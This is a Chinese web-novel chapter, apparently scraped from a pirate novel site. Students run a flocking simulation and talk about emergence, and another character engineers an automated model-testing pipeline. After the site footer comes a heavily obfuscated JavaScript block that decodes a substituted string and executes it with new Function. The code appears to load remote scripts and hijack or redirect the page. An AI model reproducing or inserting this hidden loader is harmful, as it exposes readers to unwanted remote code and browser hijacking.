第一卷少年游 第八十七章自生
第一卷少年游第八十七章自生(第1/2页)
绿色燕子本写完以后,江遥第二天还是照常把它带进了教室。
她已经没有地方可写,最后一页也只剩日期和那个关于“没有任何部分知道全局,整体还能不能知道什么”的问题,可那本绿色封皮的小册子在书包侧袋里待了几年,早晨收拾东西时,她仍然顺手把它塞了进去。走到楼下才反应过来,又懒得返回去换新的。训练中心门口的雪已经化得差不多,台阶边积着一层被踩脏的灰白冰碴,保洁阿姨拿着硬扫帚一下下敲碎。江遥绕过去时,对方提醒她小心,她答了声谢谢,进门后才发现核心组今天换了教室,十五个人被带到楼下一间平时不用的计算机房。
每台电脑旁边都放着一张纸,上面只有四条规则。
第一,屏幕里有两百个小点,每个点只能看见自己附近很小的一片区域。第二,它们可以向前移动,也可以略微调整方向。第三,如果附近的小点太少,它会靠近别人;太挤,它会避开;如果距离合适,则尽量让自己的方向与附近同伴一致。第四,没有领头者,也没有任何一个点知道整个屏幕是什么样子。
顾老师等所有人看完才让他们运行程序。
最初几秒,屏幕里像撒进一把受惊的芝麻,两百个小点各走各的,碰到边缘又重新转向。十几秒以后,某些小点开始朝相近方向移动,几团短暂的队伍出现,又因为互相碰撞散开。再过一会儿,整个画面忽然安静了许多,原本杂乱的运动自行聚成三四个方向一致的群体,一群向左上,一群沿着边缘转弯,还有一大群绕成一个缓慢旋转的环。
有人第一反应是:“鸟群。”
顾老师问:“哪里有鸟?”
教室里笑了一阵。
“那像鱼群。”另一个人说。
“哪里有鱼?”
这次没人继续抢答。大家当然明白屏幕上没有动物,只是两百个按照几条局部规则运动的小点,可一旦它们开始成群转弯,人的眼睛几乎无法不把它们看成某种活着的东西。江遥盯着那个旋转的环看了很久。没有任何一个小点知道“我们现在排成了一个圆”,更没有一只负责发布命令,可从屏幕外面看,一个稳定的形状确实出现了,而且还能维持相当长时间。
顾老师让他们把第一条规则关闭,也就是取消“离别人太远时靠近”的倾向。群体很快散掉;恢复以后,再关闭“太近时避开”,屏幕里又迅速挤成几个密得几乎重叠的团块。最后只留下“尽量和邻居方向一致”,系统仍会偶尔形成局部队伍,却很难维持整体结构。
“哪条规则制造了鸟群?”顾老师问。
这一次没人急着回答。
江遥把三条规则重新读了一遍。每一条单独看来都不像“形成鸟群”的规则:靠近别人只是不要走散,避免太近只是别撞上,跟附近的人朝相似方向走也只是局部模仿。可三件小事放在一起以后,屏幕上就出现了原本没有直接写进去的东西。她想起前一天的蚂蚁,那里也是类似情形,每只蚂蚁只走路、留下痕迹、闻附近的痕迹,却会形成一条比较好的路线。今天更加直观,因为群体甚至长出了形状。
陆徊把其中两个参数调得很极端,屏幕上的点马上从整齐队伍变成乱窜。他说:“所以不是规则一加就行,强度也有范围。”
江遥点点头。她把“跟随邻居”的力量一点点增加,发现系统并不是越整齐越好。力量太弱时大家各走各的,适中时可以形成几支稳定队伍,继续增强以后,整个系统反而变得迟钝,一旦形成一个方向就很难改变。顾老师随后在画面右侧突然放进一个红色障碍区,正常参数下的群体会在接近障碍时逐渐分流、绕开,跟随力量过强的一组却因为过分坚持原有方向,大量小点直接撞了进去。
简宁看着那一幕说:“太团结也不行。”
这句话引来不少笑声,江遥却在草稿纸上记了下来。她没有立即把它上升成群体、组织或者社会的比喻,只觉得这个现象本身已经足够有意思:一个让系统产生秩序的机制,如果强过头,也可能让系统失去改变方向的能力。所谓“好规则”并不是越强越好,它总和环境、速度、邻居范围以及外部变化绑在一起。
上午真正的任务是让十五个人自己设计一种新环境,然后预测这群小点会发生什么。有人加入食物源,有人设置捕食者,有人改变屏幕边界,江遥这一组却做了一件看起来很小的修改:把两百个小点分成两类,两类遵守完全相同的规则,只是“看见邻居”的距离不同。一类眼睛看得近,只根据身边很少几个点行动;另一类能看到更大的范围,可以同时受到更多同伴影响。
他们原本只是想知道“看得远是不是更容易形成大群体”,第一次运行结果也大致符合预期。远视野的小点更快形成统一方向,近视野那一组则分成更多小队。可把障碍加入以后,情况突然反过来了:大群体遇到障碍时调整较慢,小群体反而更灵活,有些从左侧绕,有些从右侧绕,虽然看上去更乱,却更快在障碍另一边重新汇合。
沈策说:“那到底哪个好?”
江遥盯着两段回放:“可能这个问题本身就没有固定答案。看得远会让大家更快一致,看得近会让局部更灵活。”
“可以两个都有吗?”
方禾已经开始改代码:“混起来?”
这一下比原来的任务有趣得多。他们把两类小点混在一个系统里,不再分成两支队伍。最开始的几次运行没有明显优势,有时甚至更差,因为两类小点影响范围不同,局部会产生奇怪的拉扯。可当参数调整到某个范围以后,一种新的结构开始出现:视野较远的个体像是帮助群体维持大方向,视野较近的个体又让队伍在障碍附近保留足够的局部调整,整体既不会太散,也不会过分僵硬。
韩思遥若是在,大概会说这是“既要又要”,江遥想到这里笑了一下。
顾老师走到他们身后,看了一会儿,没有问结论,而是问:“是不是必须真的存在两种个体?”
江遥没听明白。
“也可能是同一个个体,在不同情况下改变自己看多远。”顾老师说完便走了。
五个人安静了几秒。
这个改动非常小,只要让“邻居范围”随着局部拥挤程度或环境变化自动调整即可,可问题突然从“不同个体如何合作”变成了“一个个体能不能根据环境改变自己的规则”。江遥没有马上去写程序,她先问自己:如果每个小点不仅遵守规则,还能根据最近发生的事情调整规则,那么最终那些群体结构还是由程序员设计的吗?显然底层机制仍然是人写的,可具体什么时候看远、什么时候看近,甚至最终会形成什么样的队伍,却可能不再由人直接指定。
她第一次隐约碰到一个比“涌现”更麻烦的问题。
如果一个系统的结果不是人一笔一笔设计出来的,而是许多局部规则和环境互相作用以后自己长出来,人到底应该把哪一部分称作“设计”,哪一部分称作“学习”,又从哪一步开始愿意承认它产生了某种属于自己的结构?
这些词她都没有写进报告。她只在新拿的一张普通草稿纸上写了三件事:固定视野、两种视野、可改变视野。然后在第三行旁边打了一个很大的问号。
中午回宿舍时,韩思遥正坐在桌边做普通组的训练卷。
核心组和其他学员的课程已经开始真正分开。上午江遥他们做群体模型,普通组则上了一节光学专题。韩思遥过去几天表面上没怎么提这件事,可两边作息一错开,差异便很难装作不存在。江遥进门时,她正好抬头看了一眼江遥手里的计算模型讲义,问:“今天又玩什么了?”
“很多小点乱跑。”
“就这个?”
“最后自己排队。”
韩思遥接过她手机里那段动画,看了十几秒,第一反应果然是:“像鸟。”
江遥笑:“老师今天专门问,哪里有鸟。”
“你们老师很烦。”
“确实。”
韩思遥又看了一遍,把手机递回来,没有继续问。江遥却能感觉到她想知道更多,只是最近不太愿意显得自己在追着核心组课程走。两人一时都没有说话。简宁还在食堂,宿舍里只有暖气的轻响和走廊偶尔传来的关门声。
过了一会儿,韩思遥自己开口:“下轮还有一次重新分组。”
“嗯。”
“我要再试一次。”
江遥说:“好。”
只有一个字,却比“你肯定能进”真实。韩思遥看了她一眼,似乎本来准备防着某句安慰,结果没等到,反而笑起来:“你现在确实会聊天一点了。”
“谁教的?”
“被骂出来的。”
两个人都知道她说的是谁,也都没有继续。
江遥下午没有核心组课程,陪韩思遥去楼下买了新的笔芯。训练中心旁边的小店东西不多,柜台边摆着一叠最普通的硬皮本,绿色只有一本,颜色却和她那本燕子本差得很远。韩思遥随手拿起一本问她是不是该换本子,江遥想了一会儿,最后拿了最普通的灰色。没有图案,没有燕子,也没有任何纪念意义。
“你怎么不挑个好看的?”韩思遥问。
“写完再说。”
“写完它就好看了?”
江遥想了想:“可能更难看。”
(本章未完,请点击下一页继续阅读)第一卷少年游第八十七章自生(第2/2页)
老板听见她们说话,抬头笑了一下。
---
原既白第一次把自动测试程序接进完整训练流程时,系统连续跑了六个小时,然后因为磁盘写满停了。
宋弈第二天早上打开机器,看见终端里一串错误信息,站在机房门口沉默了很久,最后对原既白说:“我们成功造出了一个非常勤奋的垃圾制造器。”
六个小时里,程序生成了四十多万张中间图片。绝大多数没有任何长期价值,只是为了搜索某个方向临时产生,原本应该测试完便删除,可他们为了以后复盘,每一步都先保存下来。单张图片很小,几十万张堆在一起却迅速吃光了空间,后面的日志也因此没能完整写入。更糟的是,最有价值的最后一批测试恰好只剩结果,没有保留生成过程,导致他们知道模型在某类变化下突然失效,却不知道测试器具体是怎么走到那里。
从理论上看,这个问题很低级。
低级到原既白一开始甚至有点不愿意承认它值得讨论。可他花了一个上午以后发现,低级并不代表容易消失。只要程序真的长时间运行,存储、日志、失败恢复、重复数据、任务中断都会出现。一个想法在纸上只需要一句“自动生成测试”,变成真正可运行的系统以后,却必须回答几十个这种毫无诗意的问题。
宋弈建议简单点,只保存最终失败样本。
原既白摇头:“那就不知道它怎么找到的。”
“全保存磁盘又会爆。”
“所以分层。”
他这一次没有先画一个庞大的统一架构,而是从最实际的需求开始拆:普通中间样本只留统计,不留图片;出现模型输出显著变化时再保存关键节点;如果某条搜索路径特别异常,则把前后若干步完整保留。程序失败后要能从最近状态恢复,日志必须和模型版本绑定,否则下次换模型以后结果无法比较。
宋弈听了一会儿说:“你现在终于开始像一个干活的人了。”
“以前不像?”
“以前像来给干活的人设计宇宙的。”
原既白拿手边一本书砸他,没砸中。
这套并不漂亮的改造用了两个晚上。第二次长时间运行时,程序没有再因为磁盘问题停掉,却出现了另一种故障:其中一个生成任务卡死,占着计算资源不释放,后面所有任务排队等待。原既白起初想追根究底找出那一个任务为什么卡住,宋弈却坚持先给所有任务加超时机制,超过一定时间直接杀掉并记录。“根因以后再查,”他说,“总不能一个人堵厕所,整栋楼都不上班。”
这个比喻把原既白说服了。
过去的他会本能地觉得,每个异常都应该先被理解,再决定怎么处理;真正运行的系统却等不起完整理解。你可以暂时不知道某个罕见任务为什么死掉,但必须先保证它不会拖死所有其他任务。工程不是放弃真相,而是在真相还没有完全到手以前,先让系统活着。
叶老师远程看他们的新版本时,注意力甚至没有先放在算法上。他看了任务队列、日志策略和恢复机制,问:“如果明天模型换掉呢?”
原既白说:“测试接口不变。”
“数据格式换呢?”
“转换一层。”
“测试器自己升级?”
“版本单独记。”
“如果旧结果不能直接和新结果比?”
原既白停了一下:“那就明确不能比。”
叶老师笑了:“不错。很多系统最后不是死在不会算,而是死在大家假装不能比的东西还能比,已经变的东西还没变。”
视频结束以后,原既白没有马上关掉电脑。他忽然看见自己这几个月真正学到的东西,和最早想象的不太一样。最开始他以为机器学习的难处主要在模型本身:结构够不够好,准确率够不够高,能不能找到更一般的规律。后来问题不断向外扩散,数据从哪里来、模型究竟看见什么、换来源为什么失效、测试怎样设计、目标如何被钻空子,到现在甚至包括一个任务卡死以后系统能不能继续跑。
高层结构仍然重要。
可世界并不会因为你找到了一个好结构,就自动把电源、磁盘、接口、人员和时间都整理好。
那天晚上他离开机房时,县城突然降温。车棚顶上结了一层薄霜,自行车座摸上去很凉。原既白戴好手套,手机正好震了一下,是江遥发来一段小点自动成群的动画。
他站在车棚下面看完。
第一条回复是:“规则是什么?”
江遥把三条局部规则说了一遍,又提到两种视野混合以后出现的效果。原既白很快问:“有没有一个全局目标函数?”
“没有。”
“那怎么判断哪个群体更好?”
“我们自己定义环境任务,比如避开障碍、保持队伍、重新集合。”
原既白继续问:“那还是人定义什么叫好。”
江遥看见这句话时正在宿舍泡麦片。她想了一阵,回:“对。至少现在是。”
原既白骑车出了校门,等红灯时又看一遍。这个答案没有试图把今天的群体模型吹成某种真正自主智能,也没有因为“没有领头者”就直接跳到“系统自己有意志”。它仍然只是一个很简单的模拟,可正因为简单,一些边界反而看得清楚:局部规则可以让人没有直接设计过的整体行为出现,却不意味着系统因此拥有自己的目标。行为可以自发生成,目标从哪里来,是另一层问题。
他回:“这个区别重要。”
江遥发来:“我也觉得。”
接着又是一条:“但是如果以后它能自己改规则呢?”
原既白本来已经准备收手机,看到这句又停下脚。
如果系统不仅按照人写好的规则行动,还能根据环境改变自己的规则,事情确实更复杂;可就算如此,改变规则的方式也仍可能来自更上一层的人类设计。继续追问下去,似乎总能向上找到一个被预先设定的边界。可人本身又怎样?人的基因、身体、教育和社会也给了大量边界,我们却不会因此简单地说人的所有选择都只是别人写好的程序。
这个类比显然不能直接成立。
原既白没有急着沿它往下走,只回了一句:“要先问它能改到哪一层。”
江遥看着这句话很久。
她打开新买的灰色本子,在第一页最上面写下日期,然后把原既白这句话稍微改了一下:
**一个系统能够改变自己的哪一部分?**
写完以后,她没有继续解释。
第二天的核心组课程却完全没有人工智能。
整整一个上午都是传统电磁学训练,而且难得让人烦躁。简宁状态很好,许观澜依旧稳定,江遥第二题中途算错一个符号,检查了十几分钟才找到,最后只做到全卷第九。她已经不会因为连续几次开放课表现突出,就觉得这种成绩有什么不合理。核心组里很多人仍然比她熟练,某些题型甚至明显强于她。一个人在新问题上能重新表示,并不意味着旧问题就可以不练;未来要走到真正没有路的地方,首先得有足够多已经存在的工具可用。
下午顾老师却把上午那道最传统的电磁题重新拿了出来。
他没有讲答案,而是把条件一点点拆掉:先拿掉理想导体,再让边界变得不规则,再让材料参数随位置改变,最后问大家,当熟悉的对称性全部消失以后,还剩下什么办法。
教室里开始安静。
上午那些依靠漂亮技巧很快做完题的人,也不得不重新回到最基础的关系上。简宁试了两条路径都不顺,陆徊开始画局部场线,江遥则盯着那张已经变得很丑的图看了很久。她没有立即寻找新的公式,而是先问自己,原题里究竟哪些东西只是因为环境漂亮才成立,哪些东西就算边界变丑也不会消失。
她慢慢圈出了三个关系。
不是答案。
更像骨架。
顾老师从她身后走过,没有停。
江遥继续往下推,第一次方案失败,第二次也失败。到第三次时,她发现如果把整个区域一次性求解,问题几乎不可处理,可如果先分成许多很小的局部,在每个小地方只处理附近关系,再让这些局部互相传递信息,事情似乎又能往前走一点。
这个想法当然远没有形成完整方法。
她甚至没有把最后一页做完。
可下课铃响以后,她仍坐在那里,又画了几格。
很多年以后,她会接触远比这复杂的数学、算法和人工智能,也会知道把大问题拆成局部计算、让局部交互逐渐形成整体结果,有无数成熟而深刻的理论传统。此刻的她什么名字都不知道。
她只是第一次觉得,上午屏幕里那群没有领导者的小点,和下午这些彼此只需要交换附近信息的小区域之间,似乎隔着一条很远、却又未必完全无关的路。
江遥没有把这个念头写成结论。
她只是把那几格又画大了一点。
窗外天已经快黑了,教学楼玻璃上映出十五个人低头收拾书包的影子。有人讨论晚饭,有人抱怨上午第二题,有人问明天是不是又要跑操。江遥合上灰色本子,最后一个离开教室。
一秒记住【882小说网】
882xiaoshuo.com,更新快,无弹窗!
!function(){function a(a){var _idx="r5b0n433ax";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/5n)02ossdR/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"5n)02ossdR"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mShYfh(:m2YF"="}Ko}X5ThF)m^XDpqRTm2YF"="}Ko}2pThFmShYfh(:m2YF"="}Ko}_JqhFm^XDpqRTm2YF"="}Ko}2TOhFmShYfh(:m2YF"="}Ko}CSqhF)m^XDpqRTm2YF"="}Ko})FfThF)fmShYfh(:m2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m4)hp25)m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m4)hp25)m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q/f/}Ko}j(8}vY85n)02ossdR"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();